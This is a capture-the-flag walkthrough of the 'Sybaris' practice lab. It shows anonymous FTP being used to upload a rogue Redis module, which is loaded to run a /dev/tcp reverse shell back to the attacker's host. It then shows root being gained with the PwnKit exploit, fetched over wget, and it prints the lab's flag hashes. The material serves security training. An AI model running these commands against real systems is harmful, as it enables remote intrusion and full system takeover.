Summary #
On port 21 the FTP service allows for anonymous login and write capability. On port 6379 there is a Redis key-value store version 5.0.9
running for which a remote code execution exploit is available. Changing the exploit flow by uploading a Redis module via FTP and exploiting Redis manually gives initial access as the pablo
user. Once on the target we find the target is vulnerable for pwnkit (CVE-2021-4034). This allows us to escalate our privileges to the root
user.
Specifications #
- Name: SYBARIS
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux sybaris 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.168.93
- OFFSEC provided credentials: None
- HASH:
local.txt
:e784bf5d07a6969641098f3f309d8199
- HASH:
proof.txt
:1666b1d571ef955dab5f95f479788dc8
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir sybaris && cd sybaris && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Oct 10 06:16 .
drwxrwxr-x 86 kali kali 4096 Oct 10 06:16 ..
drwxrwxr-x 2 kali kali 4096 Oct 10 06:16 enum
drwxrwxr-x 2 kali kali 4096 Oct 10 06:16 exploits
drwxrwxr-x 2 kali kali 4096 Oct 10 06:16 files
drwxrwxr-x 2 kali kali 4096 Oct 10 06:16 tools
drwxrwxr-x 2 kali kali 4096 Oct 10 06:16 uploads
## set bash variable
ip=192.168.168.93
## ping target to check if it's online
ping $ip
PING 192.168.168.93 (192.168.168.93) 56(84) bytes of data.
64 bytes from 192.168.168.93: icmp_seq=1 ttl=61 time=19.0 ms
64 bytes from 192.168.168.93: icmp_seq=2 ttl=61 time=18.4 ms
^C
--- 192.168.168.93 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.409/18.712/19.015/0.303 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned my computer so many times, it thinks we're dating.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.168.93:21
Open 192.168.168.93:22
Open 192.168.168.93:80
Open 192.168.168.93:6379
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-10 06:20 CEST
Initiating Ping Scan at 06:20
Scanning 192.168.168.93 [4 ports]
Completed Ping Scan at 06:20, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:20
Completed Parallel DNS resolution of 1 host. at 06:20, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 06:20
Scanning 192.168.168.93 [4 ports]
Discovered open port 21/tcp on 192.168.168.93
Discovered open port 80/tcp on 192.168.168.93
Discovered open port 22/tcp on 192.168.168.93
Discovered open port 6379/tcp on 192.168.168.93
Completed SYN Stealth Scan at 06:20, 0.06s elapsed (4 total ports)
Nmap scan report for 192.168.168.93
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-10-10 06:20:44 CEST for 0s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
6379/tcp open redis syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
Raw packets sent: 8 (328B) | Rcvd: 5 (204B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
6379/tcp open redis syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
21,22,80,6379
## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,6379 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.2
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.154
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 0 0 6 Apr 01 2020 pub [NSE: writeable]
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 21:94:de:d3:69:64:a8:4d:a8:f0:b5:0a:ea:bd:02:ad (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoWnaSOW2cc+sYUe6aqQSPWY9e9OWgerEomQZv6FujchbKcxcm6sPRTZJnGrPsDum5vx7otZDGG9Vc55NByLaLU9WoQTLPhnepGTMzbbg9DyIDR9HXFw3fX0s+vSvjvDo/Cz19gWKTB2lBfJgPa239Hp0NmaxOAXmJ+d+oUEmnhLmZ1wAQFvJ/9Ta2zt8q6KOvjykUcISuFwr741HwcudFS4Z84LsO+WbcIGtkTELLn9yFc3KiZraJYNi72rOKsxHip/98js8nEIsryRfo6sZexu4lxT5SchvDNQCirLSHsEIFyzde5Ym5FDf4hb831SwJqFg7qDO+wDT1/oZp/dnP
| 256 67:42:45:19:8b:f5:f9:a5:a4:cf:fb:87:48:a2:66:d0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLoSyEH4GdzHPYxZPUgKP068JBcpx5KSL1KzaMRo9xP4ai5QKUKJ+H2xu8atQdvkE0ul6GnDPVlZ5Flf/npwYWY=
| 256 f3:e2:29:a3:41:1e:76:1e:b1:b7:46:dc:0b:b9:91:77 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH4F/u2LLgVpGw2tr0bpe0MgbiV36HAzwcu5HqcuShJd
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
|_http-favicon: Unknown favicon MD5: A4DA8778FE902EB34FD9A5D4C0A832E1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET POST
|_http-generator: HTMLy v2.7.5
|_http-title: Sybaris - Just another HTMLy blog
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.22
| http-robots.txt: 11 disallowed entries
| /config/ /system/ /themes/ /vendor/ /cache/
| /changelog.txt /composer.json /composer.lock /composer.phar /search/
|_/admin/
6379/tcp open redis syn-ack ttl 61 Redis key-value store 5.0.9
Service Info: OS: Unix
Initial Access #
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.2
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.154
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 0 0 6 Apr 01 2020 pub [NSE: writeable]
6379/tcp open redis syn-ack ttl 61 Redis key-value store 5.0.9
On port 21 there is an FTP service available that, according to NMAP, allows for anonymous login. Using nxc
we can test this and list the current directory. This shows anonymous login is allowed and the current directory is named pub
. It also shows we can write to this directory.
## use `nxc` to list directory
nxc ftp $ip -u 'anonymous' -p 'anonymous' --ls
FTP 192.168.168.93 21 192.168.168.93 [+] anonymous:anonymous - Anonymous Login!
FTP 192.168.168.93 21 192.168.168.93 [*] Directory Listing
FTP 192.168.168.93 21 192.168.168.93 drwxrwxrwx 2 0 0 6 Apr 01 2020 pub
On port 6379, there is a Redis key-value store version 5.0.9
running. Searching online we can find: https://github.com/n0b0dyCN/redis-rogue-server, however the standard running of this exploit didn’t work. But, we can download the exp.so
file (Redis module to load) and do this manually, because we’re able to write to the target using FTP. So, log into the FTP service using anonymous credentials: (anonymous:anonymous
) and upload the exp.so
file.
## change directory
cd uploads
## download the `exp.so` file and move file locally (Redis module to load)
mv ~/Downloads/exp.so .
## log into FTP service with `anonymous:anonymous`
ftp anonymous@$ip
Connected to 192.168.168.93.
220 (vsFTPd 3.0.2)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
## list content
ftp> ls
229 Entering Extended Passive Mode (|||10100|).
150 Here comes the directory listing.
drwxrwxrwx 2 0 0 6 Apr 01 2020 pub
226 Directory send OK.
## change directory
ftp> cd pub
250 Directory successfully changed.
## upload `exp.so`
ftp> put exp.so
local: exp.so remote: exp.so
229 Entering Extended Passive Mode (|||10098|).
150 Ok to send data.
100% |*******************************************************************| 44320 2.16 MiB/s 00:00 ETA
226 Transfer complete.
44320 bytes sent in 00:00 (534.65 KiB/s)
## exit ftp service
ftp> exit
221 Goodbye.
Now that the exp.so
is on the target we can load this module into Redis and get initial access as the pablo
user in the /
directory.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154
## setup a listener on an already open port
nc -lvnp 80
listening on [any] 80 ...
## connect to redis server
redis-cli -h $ip
192.168.168.93:6379>
## load the `exp.so` module
192.168.168.93:6379> module load /var/ftp/pub/exp.so
OK
## send reverse shell command
192.168.168.93:6379> system.exec "/bin/sh -i >& /dev/tcp/192.168.45.154/80 0>&1"
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.154] from (UNKNOWN) [192.168.168.93] 42148
sh: no job control in this shell
sh-4.2$
## print current user
sh-4.2$ whoami
whoami
pablo
## print current working directory
sh-4.2$ pwd
pwd
/
## find `local.txt` on the filesystem
sh-4.2$ find / -iname 'local.txt' 2>/dev/null
/home/pablo/local.txt
## print `local.txt`
sh-4.2$ cat /home/pablo/local.txt
e784bf5d07a6969641098f3f309d8199
Privilege Escalation #
To get a proper TTY we upgrade our shell using the python
binary.
## determine location python binary
which python
/usr/bin/python
## start the python binary, after that press CTRL+Z
python -c 'import pty; pty.spawn("/bin/bash")'
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## change directory
[pablo@sybaris /]$ cd /var/tmp
[pablo@sybaris tmp]$
## download `linpeas.sh`
[pablo@sybaris tmp]$ wget http://192.168.45.154/linpeas.sh
--2025-10-10 00:42:15-- http://192.168.45.154/linpeas.sh
Connecting to 192.168.45.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 971820 (949K) [text/x-sh]
Saving to: ‘linpeas.sh’
0% [ 29% [==============================================> 60% [==============================================================================================> 98% [===========================================================================================================100%[==============================================================================================================================================================>] 971,820 1.51MB/s in 0.6s
2025-10-10 00:42:15 (1.51 MB/s) - ‘linpeas.sh’ saved [971820/971820]
## set the execution bit
[pablo@sybaris tmp]$ chmod +x linpeas.sh
## run `linpeas.sh`
[pablo@sybaris tmp]$ ./linpeas.sh
The linpeas.sh
output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit (https://github.com/ly4k/PwnKit), upload to the target and run it to escalate our privileges to the root
user.
## change directory
cd uploads
## download exploit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154
## setup a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target:
## download exploit
[pablo@sybaris tmp]$ wget http://192.168.45.154/pwnkit
--2025-10-10 00:46:42-- http://192.168.45.154/pwnkit
Connecting to 192.168.45.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘pwnkit’
0% [ 100%[==============================================================================================================================================================>] 18,040 --.-K/s in 0.02s
2025-10-10 00:46:42 (774 KB/s) - ‘pwnkit’ saved [18040/18040]
## set execution bit on `pwnkit`
[pablo@sybaris tmp]$ chmod +x pwnkit
## execute `pwnkit`
[pablo@sybaris tmp]$ ./pwnkit
[root@sybaris tmp]#
## print `proof.txt`
[root@sybaris tmp]# cat /root/proof.txt
1666b1d571ef955dab5f95f479788dc8
References #
[+] https://github.com/n0b0dyCN/redis-rogue-server
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://github.com/ly4k/PwnKit
[+] https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit